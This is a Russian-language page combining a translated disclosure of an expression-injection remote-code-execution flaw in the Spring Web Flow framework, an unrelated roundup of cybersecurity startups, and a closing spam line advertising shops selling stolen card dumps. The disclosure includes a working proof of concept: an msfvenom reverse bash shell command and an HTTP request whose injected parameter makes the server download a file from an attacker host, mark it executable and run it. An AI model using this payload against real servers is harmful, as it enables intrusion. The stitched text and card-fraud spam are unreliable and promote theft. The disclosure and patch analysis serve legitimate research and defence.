В этой статье будет детально объяснено о том, где обнаружена вышеуказанная проблема, будут приведены образцы кода и способы устранения уязвимости, а также подробности заплатки, созданной разработчиками.
Автор: Stefano Ciccone
Ранее в этом году мы связались с компанией Pivotal на предмет раскрытия уязвимости во фреймворке Spring Web Flow. Проблема в Spring Web Flow возникла из-за привязки непроверенных данных в выражении на базе языка SpEL, что позволяло удаленно выполнять код в приложениях на базе этого фреймворка в случае использования значений параметров по умолчанию. Недавно эта брешь была обнародована в блоге компании Pivotal ( https://pivotal.io/security/cve-2017-4971 ).
В этой статье будет детально объяснено о том, где обнаружена вышеуказанная проблема, будут приведены образцы кода и способы устранения уязвимости, а также подробности заплатки, созданной разработчиками. Pivotal присвоила этой уязвимости средний уровень угрозы, хотя в некоторых случаях и при условии специального контекста эта проблема может стать очень серьезной.
Фреймворк Spring Web Flow является подпроектом фреймворка Spring и содержит несколько компонентов для реализации веб-приложений на базе технологии MVC с встроенным языком определения процедур (потоков) и системой управления. Процедуры и MVC-представления настраиваются при помощи XML-файлов. Сгенерированные объекты представлений сервлетов / портлетов уязвимы для RCE-атак, связанных с удаленным выполнением кода, если используются стандартные значения параметров.
Показательная эксплуатация была выполнена на примере тестового веб-приложения:
https://github.com/spring-projects/spring-webflow-samples/tree/master/booking-mvc
Описание проблемы
После анализа фреймворка обнаружилось, что необходимо два условия, чтобы веб-приложение было уязвимо к RCE-атаке:
1. В параметре useSpringBeanBinding объекта MvcViewFactoryCreator должно быть установлено значение false.
spring-webflow/spring-webflow/src/main/java/org/springframework/
webflow/mvc/builder/MvcViewFactoryCreator.java:
129: /**
130: * Sets whether to use data binding with Spring’s {@link BeanWrapper} should be enabled. Set to ‘true’ to enable.
131: * ‘false’, disabled, is the default. With this enabled, the same binding system used by Spring MVC 2.x is also used
132: * in a Web Flow environment.
133: * @param useSpringBeanBinding the Spring bean binding flag
134: */
135: public void setUseSpringBeanBinding(boolean useSpringBeanBinding) {
136: this.useSpringBeanBinding = useSpringBeanBinding;
137: }
2. Пустой объект должен быть смапирован в объект представления.
Эти два условия лучше анализировать в контексте тестового веб-приложения: spring-webflow-samples/booking-mvc.
3. В параметре useSpringBeanBinding установлено значение true, которое не является значением по умолчанию. Если мы закомментируем строку “factoryCreator.setUseSpringBeanBinding(true);”, будет установлено значение по умолчанию (false).
spring-webflow-samples/booking-mvc/src/main/java/org/springframework/
webflow/samples/booking/config/WebFlowConfig.java
46: @Bean
47: public MvcViewFactoryCreator mvcViewFactoryCreator() {
48: MvcViewFactoryCreator factoryCreator = new MvcViewFactoryCreator();
49: factoryCreator.setViewResolvers(Arrays.<ViewResolver>asList(this.webMvcConfig.tilesViewResolver()));
50: factoryCreator.setUseSpringBeanBinding(true);
51: return factoryCreator;
52: }
spring-webflow-samples/booking-mvc/src/main/webapp/WEB-INF/
hotels/booking/booking-flow.xml
16: <view-state id=”enterBookingDetails” model=”booking”>
17: <binder>
18: <binding property=”checkinDate” />
19: <binding property=”checkoutDate” />
20: <binding property=”beds” />
21: <binding property=”smoking” />
22: <binding property=”creditCard” />
23: <binding property=”creditCardName” />
24: <binding property=”creditCardExpiryMonth” />
25: <binding property=”creditCardExpiryYear” />
26: <binding property=”amenities” />
27: </binder>
28: <on-render>
29: <render fragments=”body” />
30: </on-render>
31: <transition on=”proceed” to=”reviewBooking” />
32: <transition on=”cancel” to=”cancel” bind=”false” />
33: </view-state>
34:
35: <view-state id=”reviewBooking” model=”booking”>
36: <on-render>
37: <render fragments=”body” />
38: </on-render>
39: <transition on=”confirm” to=”bookingConfirmed”>
40: <evaluate expression=”bookingService.persistBooking(booking)” />
41: </transition>
42: <transition on=”revise” to=”enterBookingDetails” />
43: <transition on=”cancel” to=”cancel” />
44: </view-state>
Если два вышеперечисленных условия выполняются, любое MVC-представление, которое является потомком абстрактного класса AbstractMvcView, как будет показано ниже, уязвимо к RCE-атаке.
spring-webflow/spring-webflow/src/main/java/org/springframework/
webflow/mvc/view/AbstractMvcView.java
62: /**
63: * Base view implementation for the Spring Web MVC Servlet and Spring Web MVC Portlet frameworks.
64: *
65: * @author Keith Donald
66: */
67: public abstract class AbstractMvcView implements View {
Объект представления начинает обрабатывать пользовательское событие при получении HTTP-запроса.
210: public void processUserEvent() {
211: String eventId = getEventId();
212: if (eventId == null) {
213: return;
214: }
215: if (logger.isDebugEnabled()) {
216: logger.debug(“Processing user event ‘” + eventId + “’”);
217: }
218: Object model = getModelObject();
219: if (model != null) {
220: if (logger.isDebugEnabled()) {
221: logger.debug(“Resolved model ” + model);
222: }
223: TransitionDefinition transition = requestContext.getMatchingTransition(eventId);
224: if (shouldBind(model, transition)) {
225: mappingResults = bind(model);
226: if (hasErrors(mappingResults)) {
227: if (logger.isDebugEnabled()) {
228: logger.debug(“Model binding resulted in errors; adding error messages to context”);
229: }
230: addErrorMessages(mappingResults);
231: }
232: if (shouldValidate(model, transition)) {
233: validate(model, transition);
234: }
235: }
236: } else {
237: if (logger.isDebugEnabled()) {
238: logger.debug(“No model to bind to; done processing user event”);
239: }
240: }
241: userEventProcessed = true;
242: }
Когда начинается процесс связывания между входными HTTP-параметрами и текущей моделью, если объект BinderConfiguration отсутствует, будет вызван метод addDefaultMappings.
380: protected MappingResults bind(Object model) {
381: if (logger.isDebugEnabled()) {
382: logger.debug(“Binding to model”);
383: }
384: DefaultMapper mapper = new DefaultMapper();
385: ParameterMap requestParameters = requestContext.getRequestParameters();
386: if (binderConfiguration != null) {
387: addModelBindings(mapper, requestParameters.asMap().keySet(), model);
388: } else {
389: addDefaultMappings(mapper, requestParameters.asMap().keySet(), model);
390: }
391: return mapper.map(requestParameters, model);
392: }
Если входной параметр начинается с содержимого переменной fieldMarkerPrefix (в данном случае с “_”), будет вызван методaddEmptyValueMapping.
462: protected void addDefaultMappings(DefaultMapper mapper, Set<String> parameterNames, Object model) {
463: for (String parameterName : parameterNames) {
464: if (fieldMarkerPrefix != null && parameterName.startsWith(fieldMarkerPrefix)) {
465: String field = parameterName.substring(fieldMarkerPrefix.length());
466: if (!parameterNames.contains(field)) {
467: addEmptyValueMapping(mapper, field, model);
468: }
469: } else {
470: addDefaultMapping(mapper, parameterName, model);
471: }
472: }
473: }
Если в параметре useSpringBeanBinding установлено значение false, в expressionParser будет находиться экземпляр объекта SpelExpressionParser (вместо BeanWrapperExpressionParser), который производит объекты SpelExpression, а не BeanWrapperExpression. Объект SpelExpression будет вычислять выражение после вызова метода getValueType.
483: protected void addEmptyValueMapping(DefaultMapper mapper, String field, Object model) {
484: ParserContext parserContext = new FluentParserContext().evaluate(model.getClass());
485: Expression target = expressionParser.parseExpression(field, parserContext);
486: try {
487: Class<?> propertyType = target.getValueType(model);
488: Expression source = new StaticExpression(getEmptyValue(propertyType));
489: DefaultMapping mapping = new DefaultMapping(source, target);
490: if (logger.isDebugEnabled()) {
491: logger.debug(“Adding empty value mapping for parameter ‘” + field + “’”);
492: }
493: mapper.addMapping(mapping);
494: } catch (EvaluationException e) {
495: }
496: }
Эксплуатация уязвимости
Ниже представлена концепция, которая была опробована на тестовом веб-приложении spring-webflow-samples/booking-mvc. Для выполнения теста с использованием стандартных настроек, следующая строка кода была закомментирована.
spring-webflow-samples/booking-mvc/src/main/java/org/springframework/
webflow/samples/booking/config/WebFlowConfig.java
46: @Bean
47: public MvcViewFactoryCreator mvcViewFactoryCreator() {
48: MvcViewFactoryCreator factoryCreator = new MvcViewFactoryCreator();
49: factoryCreator.setViewResolvers(Arrays.<ViewResolver>asList(this.webMvcConfig.tilesViewResolver()));
50: //factoryCreator.setUseSpringBeanBinding(true);
51: return factoryCreator;
52: }
Кроме того, была создана полезная нагрузка с целью развертывания обратного bash-шелла.
msfvenom -p cmd/unix/reverse_bash LHOST=[REDACTED].209 LPORT=4444 -f raw -o ./1
После установки веб-приложения на хосте [REDACTED].230 по управлением Ubuntu, стало возможно начать процесс бронирования отеля. После того как приложение попросит подтвердить заполненную информацию, можно отослать запрос, схожий тому, что представлен ниже, для выполнения вредоносного кода в серверной операционной системе.
HTTP-запрос:
POST /booking-mvc/hotels/booking?execution=e1s2 HTTP/1.1
Host: [REDACTED].230:8080
Content-Length: 189
Cache-Control: max-age=0
Origin: http://[REDACTED].230:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://[REDACTED].230:8080/booking-mvc/hotels/booking?execution=e1s2
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=1EA503C091D58D37FB0446EE59CFAF38
DNT: 1
Connection: close
_eventId_confirm=&_csrf=5e3e68b1-884c-47c9-8a4c-6c28f35bdffe&_new java.lang.ProcessBuilder({‘/bin/bash’,’-c’,’wget http://[REDACTED].209:8000/1 -O /tmp/1; chmod 700 /tmp/1; /tmp/1’}).start()=
HTTP-ответ:
HTTP/1.1 500
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-store
Pragma:
Expires:
X-Frame-Options: DENY
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Mon, 05 Jun 2017 13:27:09 GMT
Connection: close
Content-Length: 10873
<!doctype html><html lang=”en”><head><title>HTTP Status 500 – Internal Server Error</title><style type=”text/css”>h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class=”line” /><p><b>Type</b> Exception Report</p><p><b>Message</b> Handler dispatch failed; nested exception is java.lang.IllegalAccessError</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>org.springframework.web.util.NestedServletException: Handler dispatch failed; nested exception is java.lang.IllegalAccessError
[..snip..]
Приложение возвращает исключениеIllegalAccessError, хотя полезная нагрузка запустилась, как показано на рисунке ниже.
Рисунок 1: Процедура запуска полезной нагрузки
Решение проблемы
31 мая команда разработчиков фреймворка Spring Web Flow выпустила патч, устраняющий вышеуказанную уязвимость. Замена объекта expressionParser, используемого по умолчанию, на экземпляр BeanWrapperExpressionParser устраняет брешь, поскольку затем парсер начинает создавать объекты BeanWrapperExpression, что, согласно документации на Spring, предотвращает запуск метода.
Выдержка из документации:
“Обратите внимание, что интерфейс BeanWrapper фреймворка Spring не является полной реализацией языка EL: интерфейс поддерживает только доступ к свойствам, и не поддерживает запуск методов, а также арифметические и логические операции”
import org.springframework.binding.expression.ParserContext;
+import org.springframework.binding.expression.beanwrapper.BeanWrapperExpressionParser;
import org.springframework.binding.expression.support.FluentParserContext;
import org.springframework.binding.expression.support.StaticExpression;
import org.springframework.binding.mapping.MappingResult;
@@ -78,6 +79,8 @@
private ExpressionParser expressionParser;
+ private final ExpressionParser emptyValueExpressionParser = new BeanWrapperExpressionParser();
+
private ConversionService conversionService;
private Validator validator;
@@ -482,7 +485,7 @@ protected void addDefaultMappings(DefaultMapper mapper, Set<String> parameterNam
*/
protected void addEmptyValueMapping(DefaultMapper mapper, String field, Object model) {
ParserContext parserContext = new FluentParserContext().evaluate(model.getClass());
– Expression target = expressionParser.parseExpression(field, parserContext);
+ Expression target = emptyValueExpressionParser.parseExpression(field, parserContext);
try {
Class<?> propertyType = target.getValueType(model);
Expression source = new StaticExpression(getEmptyValue(propertyType));
В статье мы расскажем о наиболее интересных стартапах в области кибербезопасности, на которые следует обратить внимание.
Хотите узнать, что происходит нового в сфере кибербезопасности, – обращайте внимание на стартапы, относящиеся к данной области. Стартапы начинаются с инновационной идеи и не ограничиваются стандартными решениями и основным подходом. Зачастую стартапы справляются с проблемами, которые больше никто не может решить.
Обратной стороной стартапов, конечно же, нехватка ресурсов и зрелости. Выбор продукта или платформы стартапа – это риск, требующий особых отношений между заказчиком и поставщиком . Однако, в случае успеха компания может получить конкурентное преимущество или снизить нагрузку на ресурсы безопасности.
Ниже приведены наиболее интересные стартапы (компании, основанные или вышедшие из «скрытого режима» за последние два года).
Компания Abnormal Security, основанная в 2019 году, предлагает облачную платформу безопасности электронной почты, которая использует анализ поведенческих данных для выявления и предотвращения атак на электронную почту. Платформа на базе искусственного интеллекта анализирует поведение пользовательских данных, организационную структуру, отношения и бизнес-процессы, чтобы выявить аномальную активность, которая может указывать на кибератаку. Платформа защиты электронной почты Abnormal может предотвратить компрометацию корпоративной электронной почты, атаки на цепочку поставок , мошенничество со счетами, фишинг учетных данных и компрометацию учетной записи электронной почты. Компания также предоставляет инструменты для автоматизации реагирования на инциденты, а платформа дает облачный API для интеграции с корпоративными платформами, такими как Microsoft Office 365, G Suite и Slack.
Копания Apiiro вышла из «скрытого режима» в 2020 году. Ее платформа devsecops переводит жизненный цикл безопасной разработки «от ручного и периодического подхода «разработчики в последнюю очередь» к автоматическому подходу, основанному на оценке риска, «разработчики в первую очередь», написал в блоге соучредитель и генеральный директор Идан Плотник . Платформа Apiiro работает, соединяя все локальные и облачные системы управления версиями и билетами через API. Платформа также предоставляет настраиваемые предопределенные правила управления кодом. Со временем платформа создает инвентарь, «изучая» все продукты, проекты и репозитории. Эти данные позволяют лучше идентифицировать рискованные изменения кода.
Axis Security Application Access Cloud – облачное решение для доступа к приложениям , построенное на принципе нулевого доверия. Он не полагается на наличие агентов, установленных на пользовательских устройствах. Поэтому организации могут подключать пользователей – локальных и удаленных – на любом устройстве к частным приложениям, не затрагивая сеть или сами приложения. Axis вышла из «скрытого режима» в 2020 году.
BreachQuest, вышедшая из «скрытого режима» 25 августа 2021 года, предлагает платформу реагирования на инциденты под названием Priori. Платформа обеспечивает большую наглядность за счет постоянного отслеживания вредоносной активности. Компания утверждает, что Priori может предоставить мгновенную информацию об атаке и о том, какие конечные точки скомпрометированы после обнаружения угрозы.
Cloudrise предоставляет услуги управляемой защиты данных и автоматизации безопасности в формате SaaS. Несмотря на свое название, Cloudrise защищает как облачные, так и локальные данные. Компания утверждает, что может интегрировать защиту данных в проекты цифровой трансформации. Cloudrise автоматизирует рабочие процессы с помощью решений для защиты данных и конфиденциальности. Компания Cloudrise была запущена в октябре 2019 года.
Cylentium утверждает, что ее технология кибер-невидимости может «скрыть» корпоративную или домашнюю сеть и любое подключенное к ней устройство от обнаружения злоумышленниками. Компания называет эту концепцию «нулевой идентичностью». Компания продает свою продукцию предприятиям, потребителям и государственному сектору. Cylentium была запущена в 2020 году.
Компания Deduce , основанная в 2019 году, предлагает два продукта для так называемого «интеллектуального анализа личности». Служба оповещений клиентов отправляет клиентам уведомления о потенциальной компрометации учетной записи, а оценка риска идентификации использует агрегированные данные для оценки риска компрометации учетной записи. Компания использует когнитивные алгоритмы для анализа конфиденциальных данных с более чем 150 000 сайтов и приложений для выявления возможного мошенничества. Deduce заявляет, что использование ее продуктов снижает ущерб от захвата аккаунта более чем на 90%.
Автоматизированная платформа безопасности и соответствия Drata ориентирована на готовность к аудиту по таким стандартам, как SOC 2 или ISO 27001. Drata отслеживает и собирает данные о мерах безопасности, чтобы предоставить доказательства их наличия и работы. Платформа также помогает оптимизировать рабочие процессы. Drata была основана в 2020 году.
FYEO – это платформа для мониторинга угроз и управления доступом для потребителей, предприятий и малого и среднего бизнеса. Компания утверждает, что ее решения для управления учетными данными снимают бремя управления цифровой идентификацией. FYEO Domain Intelligence («FYEO DI») предоставляет услуги мониторинга домена, учетных данных и угроз. FYEO Identity будет предоставлять услуги управления паролями и идентификацией, начиная с четвертого квартала 2021 года. FYEO вышла из «скрытого режима» в 2021 году.
Kronos – платформа прогнозирующей аналитики уязвимостей (PVA) от компании Hive Pro , основанная на четырех основных принципах: предотвращение, обнаружение, реагирование и прогнозирование. Hive Pro автоматизирует и координирует устранение уязвимостей с помощью единого представления. Продукт компании Artemis представляет собой платформу и услугу для тестирования на проникновение на основе данных. Компания Hive Pro была основана в 2019 году.
Израильская компания Infinipoint была основана в 2019 году. Свой основной облачный продукт она называет «идентификация устройства как услуга» или DIaaS , который представляет собой решение для идентификации и определения положения устройства. Продукт интегрируется с аутентификацией SSO и действует как единая точка принуждения для всех корпоративных сервисов. DIaaS использует анализ рисков для обеспечения соблюдения политик, предоставляет статус безопасности устройства как утверждается, устраняет уязвимости «одним щелчком».
Компания Kameleon , занимающаяся производством полупроводников, не имеет собственных фабрик и занимает особое место среди поставщиков средств кибербезопасности. Компания разработала «Блок обработки проактивной безопасности» (ProSPU). Он предназначен для защиты систем при загрузке и для использования в центрах обработки данных, управляемых компьютерах, серверах и системах облачных вычислений. Компания Kameleon была основана в 2019 году.
Облачная платформа безопасности данных Open Raven предназначена для обеспечения большей прозрачности облачных ресурсов. Платформа отображает все облачные хранилища данных, включая теневые облачные учетные записи, и идентифицирует данные, которые они хранят. Затем Open Raven в режиме реального времени отслеживает утечки данных и нарушения политик и предупреждает команды о необходимости исправлений. Open Raven также может отслеживать файлы журналов на предмет конфиденциальной информации, которую следует удалить. Компания вышла из «скрытого режима» в 2020 году.
Компания Satori, основанная в 2019 году, называет свой сервис доступа к данным “DataSecOps”. Целью сервиса является отделение элементов управления безопасностью и конфиденциальностью от архитектуры. Сервис отслеживает, классифицирует и контролирует доступ к конфиденциальным данным. Имеется возможность настроить политики на основе таких критериев, как группы, пользователи, типы данных или схема, чтобы предотвратить несанкционированный доступ, замаскировать конфиденциальные данные или запустить рабочий процесс. Сервис предлагает предварительно настроенные политики для общих правил, таких как GDPR , CCPA и HIPAA .
Компания Scope Security недавно вышла из «скрытого режима», будучи основана в 2019 году. Ее продукт Scope OmniSight нацелен на отрасль здравоохранения и обнаруживает атаки на ИТ-инфраструктуру, клинические системы и системы электронных медицинских записей . Компонент анализа угроз может собирать индикаторы угроз из множества внутренних и сторонних источников, представляя данные через единый портал.
Основным продуктом Strata является платформа Maverics Identity Orchestration Platform . Это распределенная мультиоблачная платформа управления идентификацией. Заявленная цель Strata – обеспечить согласованность в распределенных облачных средах для идентификации пользователей для приложений, развернутых в нескольких облаках и локально. Функции включают в себя решение безопасного гибридного доступа для расширения доступа с нулевым доверием к локальным приложениям для облачных пользователей, уровень абстракции идентификации для лучшего управления идентификацией в мультиоблачной среде и каталог коннекторов для интеграции систем идентификации из популярных облачных систем и систем управления идентификацией. Strata была основана в 2019 году.
SynSaber , запущенная 22 июля 2021 года, предлагает решение для мониторинга промышленных активов и сети. Компания обещает обеспечить «постоянное понимание и осведомленность о состоянии, уязвимостях и угрозах во всех точках промышленной экосистемы, включая IIoT, облако и локальную среду». SynSaber была основана бывшими лидерами Dragos и Crowdstrike.
Traceable называет свой основной продукт на основе искусственного интеллекта чем-то средним между брандмауэром веб-приложений и самозащитой приложений во время выполнения. Компания утверждает, что предлагает точное обнаружение и блокирование угроз путем мониторинга активности приложений и непрерывного обучения, чтобы отличать обычную активность от вредоносной. Продукт интегрируется со шлюзами API. Traceable была основана в июле 2020 года.
Компания Wiz, основанная командой облачной безопасности Microsoft, предлагает решение для обеспечения безопасности в нескольких облаках, рассчитанное на масштабную работу. Компания утверждает, что ее продукт может анализировать все уровни облачного стека для выявления векторов атак с высоким риском и обеспечивать понимание, позволяющее лучше расставлять приоритеты. Wiz использует безагентный подход и может сканировать все виртуальные машины и контейнеры. Wiz вышла из «скрытого режима» в 2020 году.
Работает на CMS “1С-Битрикс: Управление сайтом”
online cvv dumps shop dumps shop forum